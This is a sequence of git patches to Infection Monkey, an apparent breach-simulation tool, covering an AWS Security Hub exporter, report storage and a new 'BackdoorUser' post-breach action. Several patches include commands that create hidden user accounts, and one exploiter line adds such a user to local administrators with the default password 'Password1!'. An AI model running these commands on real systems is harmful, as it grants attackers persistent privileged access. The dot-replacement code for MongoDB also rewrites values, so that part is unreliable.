{0}'s password to a complex one-use password that is not shared with other computers on the network.".format( + issue['username']), + recommendation="The machine machine ({ip_address}) is vulnerable to a RDP attack. The Monkey authenticated over the RDP protocol with user {username} and its password.".format( + machine=issue['machine'], ip_address=issue['ip_address'], username=issue['username']), + instance_arn=instance_arn, + instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + ) @staticmethod def _handle_shared_passwords_domain_issue(issue, instance_arn): - finding = \ - {"Severity": { - "Product": 1, - "Normalized": 100 - }, "RecordState": "ACTIVE", "Title": "Multiple users have the same password.", - "Description": "Some domain users are sharing passwords, this should be fixed by changing passwords.", - "Remediation": { - "Recommendation": { - "Text": "These users are sharing access password: {shared_with}.".format( - shared_with=issue['shared_with']) - } - }} - if 'aws_instance_id' in issue: - finding["Resources"] = [{ - "Type": "AwsEc2Instance", - "Id": instance_arn.format(instance_id=issue['aws_instance_id']) - }] - else: - finding["Resources"] = [{'Type': 'Other'}] - - return finding + return AWSExporter._build_generic_finding( + severity=1, + title="Multiple users have the same password.", + description="Some domain users are sharing passwords, this should be fixed by changing passwords.", + recommendation="These users are sharing access password: {shared_with}.".format( + shared_with=issue['shared_with']), + instance_arn=instance_arn, + instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + ) @staticmethod def _handle_shared_admins_domain_issue(issue, instance_arn): - finding = \ - {"Severity": { - "Product": 1, - "Normalized": 100 - }, "RecordState": "ACTIVE", - "Title": "Shared local administrator account - Different machines have the same account as a local administrator.", - "Description": "Make sure the right administrator accounts are managing the right machines, and that there isn\'t an unintentional local admin sharing.", - "Remediation": { - "Recommendation": { - "Text": "Here is a list of machines which the account {username} is defined as an administrator: {shared_machines}".format( - username=issue['username'], shared_machines=issue['shared_machines']) - } - }} - if 'aws_instance_id' in issue: - finding["Resources"] = [{ - "Type": "AwsEc2Instance", - "Id": instance_arn.format(instance_id=issue['aws_instance_id']) - }] - else: - finding["Resources"] = [{'Type': 'Other'}] - - return finding + return AWSExporter._build_generic_finding( + severity=1, + title="Shared local administrator account - Different machines have the same account as a local administrator.", + description="Make sure the right administrator accounts are managing the right machines, and that there isn\'t an unintentional local admin sharing.", + recommendation="Here is a list of machines which the account {username} is defined as an administrator: {shared_machines}".format( + username=issue['username'], shared_machines=issue['shared_machines']), + instance_arn=instance_arn, + instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + ) @staticmethod def _handle_strong_users_on_crit_issue(issue, instance_arn): - finding = \ - {"Severity": { - "Product": 1, - "Normalized": 100 - }, "RecordState": "ACTIVE", - "Title": "Mimikatz found login credentials of a user who has admin access to a server defined as critical.", - "Description": "This critical machine is open to attacks via strong users with access to it.", - "Remediation": { - "Recommendation": { - "Text": "The services: {services} have been found on the machine thus classifying it as a critical machine. These users has access to it:{threatening_users}.".format( - services=issue['services'], threatening_users=issue['threatening_users']) - } - }} - if 'aws_instance_id' in issue: - finding["Resources"] = [{ - "Type": "AwsEc2Instance", - "Id": instance_arn.format(instance_id=issue['aws_instance_id']) - }] - else: - finding["Resources"] = [{'Type': 'Other'}] - - return finding + return AWSExporter._build_generic_finding( + severity=1, + title="Mimikatz found login credentials of a user who has admin access to a server defined as critical.", + description="This critical machine is open to attacks via strong users with access to it.", + recommendation="The services: {services} have been found on the machine thus classifying it as a critical machine. These users has access to it:{threatening_users}.".format( + services=issue['services'], threatening_users=issue['threatening_users']), + instance_arn=instance_arn, + instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + ) @staticmethod def _handle_struts2_issue(issue, instance_arn): - finding = \ - {"Severity": { - "Product": 10, - "Normalized": 100 - }, "RecordState": "ACTIVE", "Title": "Struts2 servers are vulnerable to remote code execution.", - "Description": "Upgrade Struts2 to version 2.3.32 or 2.5.10.1 or any later versions.", "Remediation": { - "Recommendation": { - "Text": "Struts2 server at {machine} ({ip_address}) is vulnerable to remote code execution attack." - " The attack was made possible because the server is using an old version of Jakarta based file upload Multipart parser.".format( - machine=issue['machine'], ip_address=issue['ip_address']) - } - }} - if 'aws_instance_id' in issue: - finding["Resources"] = [{ - "Type": "AwsEc2Instance", - "Id": instance_arn.format(instance_id=issue['aws_instance_id']) - }] - else: - finding["Resources"] = [{'Type': 'Other'}] - - return finding + return AWSExporter._build_generic_finding( + severity=10, + title="Struts2 servers are vulnerable to remote code execution.", + description="Upgrade Struts2 to version 2.3.32 or 2.5.10.1 or any later versions.", + recommendation="Struts2 server at {machine} ({ip_address}) is vulnerable to remote code execution attack." + " The attack was made possible because the server is using an old version of Jakarta based file upload Multipart parser.".format( + machine=issue['machine'], ip_address=issue['ip_address']), + instance_arn=instance_arn, + instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + ) @staticmethod def _handle_weblogic_issue(issue, instance_arn): - finding = \ - {"Severity": { - "Product": 10, - "Normalized": 100 - }, "RecordState": "ACTIVE", "Title": "Oracle WebLogic servers are vulnerable to remote code execution.", - "Description": "Install Oracle critical patch updates. Or update to the latest version. " \ - "Vulnerable versions are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0.", - "Remediation": { - "Recommendation": { - "Text": "Oracle WebLogic server at {machine} ({ip_address}) is vulnerable to remote code execution attack." - " The attack was made possible due to incorrect permission assignment in Oracle Fusion Middleware (subcomponent: WLS Security).".format( - machine=issue['machine'], ip_address=issue['ip_address']) - } - }} - if 'aws_instance_id' in issue: - finding["Resources"] = [{ - "Type": "AwsEc2Instance", - "Id": instance_arn.format(instance_id=issue['aws_instance_id']) - }] - else: - finding["Resources"] = [{'Type': 'Other'}] - - return finding + return AWSExporter._build_generic_finding( + severity=10, + title="Oracle WebLogic servers are vulnerable to remote code execution.", + description="Install Oracle critical patch updates. Or update to the latest version. " \ + "Vulnerable versions are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0.", + recommendation="Oracle WebLogic server at {machine} ({ip_address}) is vulnerable to remote code execution attack." + " The attack was made possible due to incorrect permission assignment in Oracle Fusion Middleware (subcomponent: WLS Security).".format( + machine=issue['machine'], ip_address=issue['ip_address']), + instance_arn=instance_arn, + instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + ) @staticmethod def _handle_hadoop_issue(issue, instance_arn): - finding = \ - {"Severity": { - "Product": 10, - "Normalized": 100 - }, "RecordState": "ACTIVE", "Title": "Hadoop/Yarn servers are vulnerable to remote code execution.", - "Description": "Run Hadoop in secure mode, add Kerberos authentication.", "Remediation": { - "Recommendation": { - "Text": "The Hadoop server at {machine} ({ip_address}) is vulnerable to remote code execution attack." - " The attack was made possible due to default Hadoop/Yarn configuration being insecure." - } - }} - if 'aws_instance_id' in issue: - finding["Resources"] = [{ - "Type": "AwsEc2Instance", - "Id": instance_arn.format(instance_id=issue['aws_instance_id']) - }] - else: - finding["Resources"] = [{'Type': 'Other'}] - - return finding + return AWSExporter._build_generic_finding( + severity=10, + title="Hadoop/Yarn servers are vulnerable to remote code execution.", + description="Run Hadoop in secure mode, add Kerberos authentication.", + recommendation="The Hadoop server at {machine} ({ip_address}) is vulnerable to remote code execution attack." + "The attack was made possible due to default Hadoop/Yarn configuration being insecure.", + instance_arn=instance_arn, + instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + ) diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py index 8f72e1b17..8861e8d85 100644 --- a/monkey/monkey_island/cc/services/report.py +++ b/monkey/monkey_island/cc/services/report.py @@ -8,7 +8,7 @@ from enum import Enum from six import text_type from cc.database import mongo -from cc.resources.aws_exporter import AWSExporter +from cc.report_exporter_manager import ReportExporterManager from cc.services.config import ConfigService from cc.services.edge import EdgeService from cc.services.node import NodeService @@ -723,7 +723,7 @@ class ReportService: 'latest_monkey_modifytime': monkey_latest_modify_time } } - ReportService.export_to_exporters(report) + ReportExporterManager().export(report) mongo.db.report.drop() mongo.db.report.insert_one(report) @@ -755,8 +755,3 @@ class ReportService: return mongo.db.edge.count( {'exploits': {'$elemMatch': {'exploiter': exploit_type, 'result': True}}}, limit=1) > 0 - - @staticmethod - def export_to_exporters(report): - for exporter in ReportService.get_active_exporters(): - exporter.handle_report(report) diff --git a/monkey/monkey_island/report_exporter_manager.py b/monkey/monkey_island/report_exporter_manager.py deleted file mode 100644 index 7e9afc8a9..000000000 --- a/monkey/monkey_island/report_exporter_manager.py +++ /dev/null @@ -1,40 +0,0 @@ -from cc.environment.environment import load_env_from_file, AWS -from cc.resources.aws_exporter import AWSExporter -import logging - -logger = logging.getLogger(__name__) - - -class Borg: - _shared_state = {} - - def __init__(self): - self.__dict__ = self._shared_state - - -class ReportExporterManager(Borg): - def __init__(self): - Borg.__init__(self) - self._exporters_list = [] - self._init_exporters() - - def get_exporters_list(self): - return self._exporters_list - - def _init_exporters(self): - self._init_aws_exporter() - - def _init_aws_exporter(self): - if str(load_env_from_file()) == AWS: - self._exporters_list.append(AWSExporter) - - def export(self): - try: - for exporter in self._exporters_list: - exporter().handle_report() - except Exception as e: - logger.exception('Failed to export report') - -if __name__ == '__main__': - print ReportExporterManager().get_exporters_list() - print ReportExporterManager().get_exporters_list() From 4b06c1e3f4a2671f258d3032b0f965ee1703ad45 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Mon, 31 Dec 2018 14:58:14 +0200 Subject: [PATCH 57/71] - added 'author' to each file. --- monkey/monkey_island/cc/exporter_init.py | 1 + monkey/monkey_island/cc/report_exporter_manager.py | 2 ++ monkey/monkey_island/cc/resources/aws_exporter.py | 3 +++ 3 files changed, 6 insertions(+) diff --git a/monkey/monkey_island/cc/exporter_init.py b/monkey/monkey_island/cc/exporter_init.py index c2285772e..0fc32fccb 100644 --- a/monkey/monkey_island/cc/exporter_init.py +++ b/monkey/monkey_island/cc/exporter_init.py @@ -2,6 +2,7 @@ from cc.environment.environment import load_env_from_file, AWS from cc.report_exporter_manager import ReportExporterManager from cc.resources.aws_exporter import AWSExporter +__author__ = 'maor.rayzin' def populate_exporter_list(): diff --git a/monkey/monkey_island/cc/report_exporter_manager.py b/monkey/monkey_island/cc/report_exporter_manager.py index 210f28966..a6a983a20 100644 --- a/monkey/monkey_island/cc/report_exporter_manager.py +++ b/monkey/monkey_island/cc/report_exporter_manager.py @@ -1,5 +1,7 @@ import logging +__author__ = 'maor.rayzin' + logger = logging.getLogger(__name__) diff --git a/monkey/monkey_island/cc/resources/aws_exporter.py b/monkey/monkey_island/cc/resources/aws_exporter.py index 8890342dd..0c1d51d1a 100644 --- a/monkey/monkey_island/cc/resources/aws_exporter.py +++ b/monkey/monkey_island/cc/resources/aws_exporter.py @@ -9,6 +9,9 @@ from cc.services.config import ConfigService from cc.environment.environment import load_server_configuration_from_file from common.cloud.aws import AWS +__author__ = 'maor.rayzin' + + logger = logging.getLogger(__name__) AWS_CRED_CONFIG_KEYS = [['cnc', 'aws_config', 'aws_access_key_id'], From d3a42792fb0605049c9d987cb2a7b6828fe45a0d Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Mon, 31 Dec 2018 18:41:56 +0200 Subject: [PATCH 58/71] Remove dead line of code in config.py --- monkey/infection_monkey/config.py | 2 -- 1 file changed, 2 deletions(-) diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index 4a63c082b..74a98feb1 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -7,8 +7,6 @@ from abc import ABCMeta from itertools import product import importlib -importlib.import_module('infection_monkey', 'network') - __author__ = 'itamar' GUID = str(uuid.getnode()) From 985f45d8de668e6f470643b652a46da7ad0a19e8 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Wed, 2 Jan 2019 14:26:36 +0200 Subject: [PATCH 59/71] - Added exporters list population - some pep8 - Added a report json cleanup for mongo insertion, sometimes machine names are used as keys and these names might contain '.' which mongodb doesn't allow. - Fixed a typo and aws sec hub protocol requirements --- monkey/monkey_island/cc/exporter_init.py | 1 + monkey/monkey_island/cc/main.py | 4 +-- .../cc/resources/aws_exporter.py | 4 +-- .../cc/services/config_schema.py | 28 +++++++++++++++++-- monkey/monkey_island/cc/services/report.py | 16 ++++++++++- 5 files changed, 46 insertions(+), 7 deletions(-) diff --git a/monkey/monkey_island/cc/exporter_init.py b/monkey/monkey_island/cc/exporter_init.py index 0fc32fccb..9b25469f9 100644 --- a/monkey/monkey_island/cc/exporter_init.py +++ b/monkey/monkey_island/cc/exporter_init.py @@ -4,6 +4,7 @@ from cc.resources.aws_exporter import AWSExporter __author__ = 'maor.rayzin' + def populate_exporter_list(): manager = ReportExporterManager() diff --git a/monkey/monkey_island/cc/main.py b/monkey/monkey_island/cc/main.py index a6ded6628..713e83b96 100644 --- a/monkey/monkey_island/cc/main.py +++ b/monkey/monkey_island/cc/main.py @@ -18,6 +18,7 @@ json_setup_logging(default_path=os.path.join(BASE_PATH, 'cc', 'island_logger_def logger = logging.getLogger(__name__) from cc.app import init_app +from cc.exporter_init import populate_exporter_list from cc.utils import local_ip_addresses from cc.environment.environment import env from cc.database import is_db_server_up @@ -34,8 +35,7 @@ def main(): logger.info('Waiting for MongoDB server') time.sleep(1) - - + populate_exporter_list() app = init_app(mongo_url) if env.is_debug(): app.run(host='0.0.0.0', debug=True, ssl_context=('monkey_island/cc/server.crt', 'monkey_island/cc/server.key')) diff --git a/monkey/monkey_island/cc/resources/aws_exporter.py b/monkey/monkey_island/cc/resources/aws_exporter.py index 0c1d51d1a..bd6ef3a10 100644 --- a/monkey/monkey_island/cc/resources/aws_exporter.py +++ b/monkey/monkey_island/cc/resources/aws_exporter.py @@ -131,7 +131,7 @@ class AWSExporter(Exporter): "Id": instance_arn.format(instance_id=instance_id) }] else: - return [{'Type': 'Other'}] + return [{'Type': 'Other', 'Id': 'None'}] @staticmethod def _build_generic_finding(severity, title, description, recommendation, instance_arn, instance_id=None): @@ -140,7 +140,7 @@ class AWSExporter(Exporter): "Product": severity, "Normalized": 100 }, - 'Resource': AWSExporter._get_finding_resource(instance_id, instance_arn), + 'Resources': AWSExporter._get_finding_resource(instance_id, instance_arn), "Title": title, "Description": description, "Remediation": { diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py index d4d294afc..bb5b10cbb 100644 --- a/monkey/monkey_island/cc/services/config_schema.py +++ b/monkey/monkey_island/cc/services/config_schema.py @@ -1,6 +1,5 @@ WARNING_SIGN = u" \u26A0" - SCHEMA = { "title": "Monkey", "type": "object", @@ -624,6 +623,31 @@ SCHEMA = { "description": "The current command server the monkey is communicating with" } } + }, + 'aws_config': { + 'title': 'AWS Configuration', + 'type': 'object', + 'description': 'These credentials will be used in order to export the monkey\'s findings to the AWS Security Hub.', + 'properties': { + 'aws_account_id': { + 'title': 'AWS account ID', + 'type': 'string', + 'description': 'Your AWS account ID that is subscribed to security hub feeds', + 'default': '' + }, + 'aws_access_key_id': { + 'title': 'AWS access key ID', + 'type': 'string', + 'description': 'Your AWS public access key ID, can be found in the IAM user interface in the AWS console.', + 'default': '' + }, + 'aws_secret_access_key': { + 'title': 'AWS secret access key', + 'type': 'string', + 'description': 'Your AWS secret access key id, you can get this after creating a public access key in the console.', + 'default': '' + } + } } } }, @@ -852,4 +876,4 @@ SCHEMA = { "options": { "collapsed": True } -} \ No newline at end of file +} diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py index 8861e8d85..a9edbaf48 100644 --- a/monkey/monkey_island/cc/services/report.py +++ b/monkey/monkey_island/cc/services/report.py @@ -3,6 +3,8 @@ import functools import ipaddress import logging + +from bson import json_util from enum import Enum from six import text_type @@ -725,10 +727,22 @@ class ReportService: } ReportExporterManager().export(report) mongo.db.report.drop() - mongo.db.report.insert_one(report) + mongo.db.report.insert_one(ReportService.clean_report_before_mongo_insert(report)) return report + @staticmethod + def clean_report_before_mongo_insert(report_dict): + """ + mongodb doesn't allow for '.' and '$' in a key's name, this function replaces the '.' char with the unicode + \u002E char instead. + :return: + """ + report_as_json = json_util.dumps(report_dict) + report_as_json.replace('.', '\u002E') + return json_util.loads(report_as_json) + + @staticmethod def is_latest_report_exists(): """ From 078470e2575cff48f642d255d2dab3fb0cd7e9cb Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Wed, 2 Jan 2019 16:25:26 +0200 Subject: [PATCH 60/71] - added char conversion for mongo insertion, mongodb doesn't allow for '.' in keys names and sometimes machine names might include '.' char in them. We encode with ',,,' and decode back to '.'. --- monkey/monkey_island/cc/services/report.py | 22 +++++++++++++++------- 1 file changed, 15 insertions(+), 7 deletions(-) diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py index a9edbaf48..46a4ee448 100644 --- a/monkey/monkey_island/cc/services/report.py +++ b/monkey/monkey_island/cc/services/report.py @@ -727,19 +727,18 @@ class ReportService: } ReportExporterManager().export(report) mongo.db.report.drop() - mongo.db.report.insert_one(ReportService.clean_report_before_mongo_insert(report)) + mongo.db.report.insert_one(ReportService.encode_dot_char_before_mongo_insert(report)) return report @staticmethod - def clean_report_before_mongo_insert(report_dict): + def encode_dot_char_before_mongo_insert(report_dict): """ mongodb doesn't allow for '.' and '$' in a key's name, this function replaces the '.' char with the unicode - \u002E char instead. - :return: + ,,, combo instead. + :return: dict with formatted keys with no dots. """ - report_as_json = json_util.dumps(report_dict) - report_as_json.replace('.', '\u002E') + report_as_json = json_util.dumps(report_dict).replace('.', ',,,') return json_util.loads(report_as_json) @@ -758,10 +757,19 @@ class ReportService: return False + @staticmethod + def decode_dot_char_before_mongo_insert(report_dict): + """ + this function replaces the ',,,' combo with the '.' char instead. + :return: report dict with formatted keys (',,,' -> '.') + """ + report_as_json = json_util.dumps(report_dict).replace(',,,', '.') + return json_util.loads(report_as_json) + @staticmethod def get_report(): if ReportService.is_latest_report_exists(): - return mongo.db.report.find_one() + return ReportService.decode_dot_char_before_mongo_insert(mongo.db.report.find_one()) return ReportService.generate_report() @staticmethod From 077d5365266536685a3fd9d3846465e2167a89cb Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Wed, 2 Jan 2019 19:31:03 +0200 Subject: [PATCH 61/71] Add missing dependency --- monkey/infection_monkey/requirements.txt | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/requirements.txt b/monkey/infection_monkey/requirements.txt index 468b748e8..e08cbf4ca 100644 --- a/monkey/infection_monkey/requirements.txt +++ b/monkey/infection_monkey/requirements.txt @@ -14,4 +14,5 @@ six ecdsa netifaces ipaddress -wmi \ No newline at end of file +wmi +pywin32 \ No newline at end of file From 382b95c75d13f8d3129669cf1784cd9e6cd4d65b Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Mon, 31 Dec 2018 18:26:46 +0200 Subject: [PATCH 62/71] Add option for post breach actions to configuration --- monkey/infection_monkey/config.py | 6 +++++ monkey/infection_monkey/example.conf | 3 ++- .../cc/services/config_schema.py | 27 ++++++++++++++++++- 3 files changed, 34 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index 74a98feb1..6234cd9ff 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -20,6 +20,7 @@ class Configuration(object): # now we won't work at <2.7 for sure network_import = importlib.import_module('infection_monkey.network') exploit_import = importlib.import_module('infection_monkey.exploit') + post_breach_import = importlib.import_module('infection_monkey.post_breach') unknown_items = [] for key, value in formatted_data.items(): @@ -39,6 +40,9 @@ class Configuration(object): elif key == 'exploiter_classes': class_objects = [getattr(exploit_import, val) for val in value] setattr(self, key, class_objects) + elif key == 'post_breach_actions': + class_objects = [getattr(post_breach_import, val) for val in value] + setattr(self, key, class_objects) else: if hasattr(self, key): setattr(self, key, value) @@ -266,5 +270,7 @@ class Configuration(object): extract_azure_creds = True + post_breach_actions = [] + WormConfiguration = Configuration() diff --git a/monkey/infection_monkey/example.conf b/monkey/infection_monkey/example.conf index 0779301d2..0bdcc0eb2 100644 --- a/monkey/infection_monkey/example.conf +++ b/monkey/infection_monkey/example.conf @@ -97,5 +97,6 @@ "timeout_between_iterations": 10, "use_file_logging": true, "victims_max_exploit": 7, - "victims_max_find": 30 + "victims_max_find": 30, + "post_breach_actions" : [] } diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py index d4d294afc..0a1ca24d6 100644 --- a/monkey/monkey_island/cc/services/config_schema.py +++ b/monkey/monkey_island/cc/services/config_schema.py @@ -88,6 +88,19 @@ SCHEMA = { } ] }, + "post_breach_acts": { + "title": "Post breach actions", + "type": "string", + "anyOf": [ + { + "type": "string", + "enum": [ + "BackdoorUser" + ], + "title": "Back door user", + }, + ], + }, "finger_classes": { "title": "Fingerprint class", "type": "string", @@ -276,7 +289,19 @@ SCHEMA = { "type": "boolean", "default": True, "description": "Is the monkey alive" - } + }, + "post_breach_actions": { + "title": "Post breach actions", + "type": "array", + "uniqueItems": True, + "items": { + "$ref": "#/definitions/post_breach_acts" + }, + "default": [ + "BackdoorUser", + ], + "description": "List of actions the Monkey will run post breach" + }, } }, "behaviour": { From 95a2a0e4284cf2a7c94771e43a4e2781ea4cfc63 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Wed, 2 Jan 2019 19:31:26 +0200 Subject: [PATCH 63/71] Add backdoor user functionality to Monkey itself. The backdoor user is purposefully disabled --- .../infection_monkey/post_breach/__init__.py | 4 ++ .../infection_monkey/post_breach/add_user.py | 49 +++++++++++++++++++ 2 files changed, 53 insertions(+) create mode 100644 monkey/infection_monkey/post_breach/__init__.py create mode 100644 monkey/infection_monkey/post_breach/add_user.py diff --git a/monkey/infection_monkey/post_breach/__init__.py b/monkey/infection_monkey/post_breach/__init__.py new file mode 100644 index 000000000..3faa2233e --- /dev/null +++ b/monkey/infection_monkey/post_breach/__init__.py @@ -0,0 +1,4 @@ +__author__ = 'danielg' + + +from add_user import BackdoorUser \ No newline at end of file diff --git a/monkey/infection_monkey/post_breach/add_user.py b/monkey/infection_monkey/post_breach/add_user.py new file mode 100644 index 000000000..8551382b7 --- /dev/null +++ b/monkey/infection_monkey/post_breach/add_user.py @@ -0,0 +1,49 @@ +import datetime +import logging +import subprocess +import sys +from infection_monkey.config import WormConfiguration + +LOG = logging.getLogger(__name__) + +# Linux doesn't have WindowsError +try: + WindowsError +except NameError: + WindowsError = None + +__author__ = 'danielg' + + +class BackdoorUser(object): + """ + This module adds a disabled user to the system. + This tests part of the ATT&CK matrix + """ + + def act(self): + LOG.info("Adding a user") + if sys.platform.startswith("win"): + retval = self.add_user_windows() + else: + retval = self.add_user_linux() + if retval != 0: + LOG.warn("Failed to add a user") + else: + LOG.info("Done adding user") + + @staticmethod + def add_user_linux(): + cmd_line = ['useradd', '-M', '--expiredate', + datetime.datetime.today().strftime('%Y-%m-%d'), '--inactive', '0', '-c', 'MONKEY_USER', + WormConfiguration.ms08_067_remote_user_add] + retval = subprocess.call(cmd_line) + return retval + + @staticmethod + def add_user_windows(): + cmd_line = ['net', 'user', WormConfiguration.ms08_067_remote_user_add, + WormConfiguration.ms08_067_remote_user_pass, + '/add', '/ACTIVE:NO'] + retval = subprocess.call(cmd_line) + return retval From 7b5604a0de095692b3d24e680bfc60b20c6fe633 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Wed, 2 Jan 2019 19:31:42 +0200 Subject: [PATCH 64/71] Make post breach actions happen in the monkey --- monkey/infection_monkey/monkey.py | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 30eb57f1c..4d5bdf7dc 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -109,6 +109,10 @@ class InfectionMonkey(object): system_info = system_info_collector.get_info() ControlClient.send_telemetry("system_info_collection", system_info) + for action_class in WormConfiguration.post_breach_actions: + action = action_class() + action.act() + if 0 == WormConfiguration.depth: LOG.debug("Reached max depth, shutting down") ControlClient.send_telemetry("trace", "Reached max depth, shutting down") From 68093d084f1867ae252a9e76bee6b3cd51cb4673 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Mon, 7 Jan 2019 10:58:20 +0200 Subject: [PATCH 65/71] Rename ms08_067_remote_user_add and ms08_067_remote_user_pass to something more generic --- monkey/infection_monkey/config.py | 4 ++-- monkey/infection_monkey/example.conf | 4 ++-- monkey/infection_monkey/exploit/win_ms08_067.py | 12 ++++++------ monkey/infection_monkey/post_breach/add_user.py | 6 +++--- .../system_info/windows_info_collector.py | 2 +- monkey/monkey_island/cc/services/config_schema.py | 8 ++++---- 6 files changed, 18 insertions(+), 18 deletions(-) diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index 8bf407d84..839a17018 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -208,8 +208,8 @@ class Configuration(object): skip_exploit_if_file_exist = False ms08_067_exploit_attempts = 5 - ms08_067_remote_user_add = "Monkey_IUSER_SUPPORT" - ms08_067_remote_user_pass = "Password1!" + user_to_add = "Monkey_IUSER_SUPPORT" + remote_user_pass = "Password1!" # rdp exploiter rdp_use_vbs_download = True diff --git a/monkey/infection_monkey/example.conf b/monkey/infection_monkey/example.conf index 66988720a..594ee62c7 100644 --- a/monkey/infection_monkey/example.conf +++ b/monkey/infection_monkey/example.conf @@ -57,8 +57,8 @@ "monkey_log_path_linux": "/tmp/user-1563", "send_log_to_server": true, "ms08_067_exploit_attempts": 5, - "ms08_067_remote_user_add": "Monkey_IUSER_SUPPORT", - "ms08_067_remote_user_pass": "Password1!", + "user_to_add": "Monkey_IUSER_SUPPORT", + "remote_user_pass": "Password1!", "ping_scan_timeout": 10000, "rdp_use_vbs_download": true, "smb_download_timeout": 300, diff --git a/monkey/infection_monkey/exploit/win_ms08_067.py b/monkey/infection_monkey/exploit/win_ms08_067.py index 9f8837157..41b3820d5 100644 --- a/monkey/infection_monkey/exploit/win_ms08_067.py +++ b/monkey/infection_monkey/exploit/win_ms08_067.py @@ -192,9 +192,9 @@ class Ms08_067_Exploiter(HostExploiter): sock.send("cmd /c (net user %s %s /add) &&" " (net localgroup administrators %s /add)\r\n" % - (self._config.ms08_067_remote_user_add, - self._config.ms08_067_remote_user_pass, - self._config.ms08_067_remote_user_add)) + (self._config.user_to_add, + self._config.remote_user_pass, + self._config.user_to_add)) time.sleep(2) reply = sock.recv(1000) @@ -213,8 +213,8 @@ class Ms08_067_Exploiter(HostExploiter): remote_full_path = SmbTools.copy_file(self.host, src_path, self._config.dropper_target_path_win_32, - self._config.ms08_067_remote_user_add, - self._config.ms08_067_remote_user_pass) + self._config.user_to_add, + self._config.remote_user_pass) if not remote_full_path: # try other passwords for administrator @@ -240,7 +240,7 @@ class Ms08_067_Exploiter(HostExploiter): try: sock.send("start %s\r\n" % (cmdline,)) - sock.send("net user %s /delete\r\n" % (self._config.ms08_067_remote_user_add,)) + sock.send("net user %s /delete\r\n" % (self._config.user_to_add,)) except Exception as exc: LOG.debug("Error in post-debug phase while exploiting victim %r: (%s)", self.host, exc) return False diff --git a/monkey/infection_monkey/post_breach/add_user.py b/monkey/infection_monkey/post_breach/add_user.py index 8551382b7..b8cb9a027 100644 --- a/monkey/infection_monkey/post_breach/add_user.py +++ b/monkey/infection_monkey/post_breach/add_user.py @@ -36,14 +36,14 @@ class BackdoorUser(object): def add_user_linux(): cmd_line = ['useradd', '-M', '--expiredate', datetime.datetime.today().strftime('%Y-%m-%d'), '--inactive', '0', '-c', 'MONKEY_USER', - WormConfiguration.ms08_067_remote_user_add] + WormConfiguration.user_to_add] retval = subprocess.call(cmd_line) return retval @staticmethod def add_user_windows(): - cmd_line = ['net', 'user', WormConfiguration.ms08_067_remote_user_add, - WormConfiguration.ms08_067_remote_user_pass, + cmd_line = ['net', 'user', WormConfiguration.user_to_add, + WormConfiguration.remote_user_pass, '/add', '/ACTIVE:NO'] retval = subprocess.call(cmd_line) return retval diff --git a/monkey/infection_monkey/system_info/windows_info_collector.py b/monkey/infection_monkey/system_info/windows_info_collector.py index 1348a6fcb..7c3739a0f 100644 --- a/monkey/infection_monkey/system_info/windows_info_collector.py +++ b/monkey/infection_monkey/system_info/windows_info_collector.py @@ -36,7 +36,7 @@ class WindowsInfoCollector(InfoCollector): """ LOG.debug("Running Windows collector") super(WindowsInfoCollector, self).get_info() - self.get_wmi_info() + #self.get_wmi_info() self.get_installed_packages() from infection_monkey.config import WormConfiguration if WormConfiguration.should_use_mimikatz: diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py index e9d2ad2ce..52d829abf 100644 --- a/monkey/monkey_island/cc/services/config_schema.py +++ b/monkey/monkey_island/cc/services/config_schema.py @@ -701,14 +701,14 @@ SCHEMA = { "default": 5, "description": "Number of attempts to exploit using MS08_067" }, - "ms08_067_remote_user_add": { - "title": "MS08_067 remote user", + "user_to_add": { + "title": "Remote user", "type": "string", "default": "Monkey_IUSER_SUPPORT", "description": "Username to add on successful exploit" }, - "ms08_067_remote_user_pass": { - "title": "MS08_067 remote user password", + "remote_user_pass": { + "title": "Remote user password", "type": "string", "default": "Password1!", "description": "Password to use for created user" From 0bfde8d047eaac89878e08b853a2654881bc9610 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Mon, 7 Jan 2019 18:11:31 +0200 Subject: [PATCH 66/71] - adjusted config to mssql exploiter. --- monkey/monkey_island/cc/services/config_schema.py | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py index 52d829abf..2b789c1e6 100644 --- 